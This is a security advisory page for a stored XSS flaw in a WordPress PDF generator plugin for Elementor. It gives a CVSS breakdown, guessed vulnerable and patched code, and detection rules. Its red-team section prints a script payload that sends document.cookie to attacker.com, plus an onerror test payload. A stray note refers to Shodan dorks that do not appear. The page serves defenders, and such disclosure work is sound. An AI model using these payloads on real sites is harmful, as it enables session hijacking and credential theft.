CVE-2025-31850
Executive Summary
CVE-2025-31850 is a Stored Cross-Site Scripting (XSS) vulnerability found in the PDF Generator Addon for Elementor Page Builder WordPress plugin, developed by RedefiningTheWeb. This flaw affects all versions up to and including 2.1.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject malicious scripts. When the generated PDF is viewed or the page containing the injected script is rendered, the payload executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
The CVSS score is 6.5 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild at the time of analysis. However, given the widespread use of Elementor and its add-ons, the risk of targeted attacks remains significant.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and is also available for direct download from the vendor's site. Since the patch status is unknown, users are advised to treat the plugin as potentially compromised. Supply chain risks include:
- Malicious updates: If the vendor is compromised, a future update could contain backdoors.
- Dependency risk: The plugin relies on Elementor and WordPress core, both of which have their own security postures.
- No known patch: The absence of a patch means users must rely on workarounds or disable the plugin entirely.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must view the malicious PDF or the page containing the injected script.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate threat. However, in a multi-tenant or shared hosting environment, a contributor-level attacker could compromise multiple sites.
Deep Dive & Mechanics
The vulnerability exists in the PDF generation functionality of the plugin. When a user creates or edits a page using Elementor and includes the PDF Generator widget, the plugin processes user-supplied content (e.g., text fields, titles, or custom CSS) without proper sanitization. This content is then stored in the WordPress database and later rendered in the PDF output.
The core issue is that the plugin fails to escape or validate input before embedding it into the PDF document. An attacker can inject JavaScript code into fields that are later interpreted by the PDF viewer or the browser when the PDF is displayed inline. For example, a contributor could add a malicious script tag in a text field that, when the PDF is generated and viewed, executes in the victim's browser.
The attack flow:
- Attacker logs in with contributor-level privileges.
- Attacker creates or edits a page using Elementor and adds the PDF Generator widget.
- Attacker injects a payload like
<script>alert('XSS')</script>into a text field. - The plugin stores the payload in the database.
- When an administrator or other user views the generated PDF (or the page containing the PDF preview), the script executes.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable code (pdf-generator-addon-for-elementor-page-builder <= 2.1.0)
function generate_pdf_content($data) {
$content = $data['user_input'];
// No sanitization or escaping
$pdf->writeHTML($content);
}
A patched version would include proper escaping:
// Patched code (hypothetical)
function generate_pdf_content($data) {
$content = $data['user_input'];
// Sanitize and escape output
$safe_content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
$pdf->writeHTML($safe_content);
}
The key difference is the use of htmlspecialchars() or similar functions to neutralize HTML/JavaScript before embedding it into the PDF.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with PDF Generator Addon for Elementor Page Builder <= 2.1.0
- Contributor-level account or higher
- Elementor Page Builder installed and active
Exploitation Steps:
- Log in to WordPress as a contributor.
- Create a new page or edit an existing one using Elementor.
- Add the "PDF Generator" widget to the page.
- In a text field (e.g., "Custom Text" or "Title"), inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
- Save the page and generate the PDF.
- Share the PDF link with an administrator or victim.
- When the victim views the PDF, the script executes, sending their cookies to the attacker's server.
Alternative Payload (for inline PDF viewing):
<img src=x onerror="alert('XSS')">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual page edits by contributors.
- Look for PDF generation requests containing suspicious parameters.
- Use WAF rules to block common XSS payloads in POST requests to
wp-admin/admin-ajax.php.
Hardening:
- Disable the plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a Web Application Firewall (WAF) with XSS detection rules.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available – plugin files may vary by version)
- Suspicious POST requests to
/wp-admin/admin-ajax.phpwith parameters containing<script>oronerrorpatterns. - Unusual PDF generation requests from contributor accounts.
- Outbound connections to attacker-controlled domains from the WordPress server.
- Log entries showing
pdf-generator-addon-for-elementor-page-builderin the user agent or referrer.
Detection Engineering
YARA Rule
rule CVE_2025_31850_Stored_XSS {
meta:
description = "Detects stored XSS payloads in PDF Generator Addon for Elementor"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31850"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
$plugin_path = "pdf-generator-addon-for-elementor-page-builder"
condition:
any of ($payload*) and $plugin_path
}
Sigma Rule
title: CVE-2025-31850 - Stored XSS in PDF Generator Addon for Elementor
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts via PDF Generator Addon for Elementor
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=generate_pdf'
cs-uri-query|contains|re: '(<script|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in PDF content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31850 - Stored XSS in PDF Generator Addon for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=generate_pdf"; http_client_body; pcre:"/(<script|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the PDF Generator Addon for Elementor Page Builder until a patch is released.
- Audit user roles – Review all contributor-level accounts and remove any that are not essential.
- Scan for existing compromises – Check WordPress database for stored XSS payloads in post content and meta fields.
Long-term Mitigations:
- Apply a WAF – Use a Web Application Firewall with XSS rules to block malicious payloads.
- Implement CSP – Add Content Security Policy headers to restrict script execution.
- Monitor for updates – Subscribe to the vendor's security advisories for patch announcements.
- Educate users – Train content editors to avoid pasting untrusted content into PDF fields.
Workaround (if plugin cannot be disabled):
- Use a plugin like "Disable XML-RPC" to reduce attack surface.
- Restrict PDF generation to administrators only via custom code or a role management plugin.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.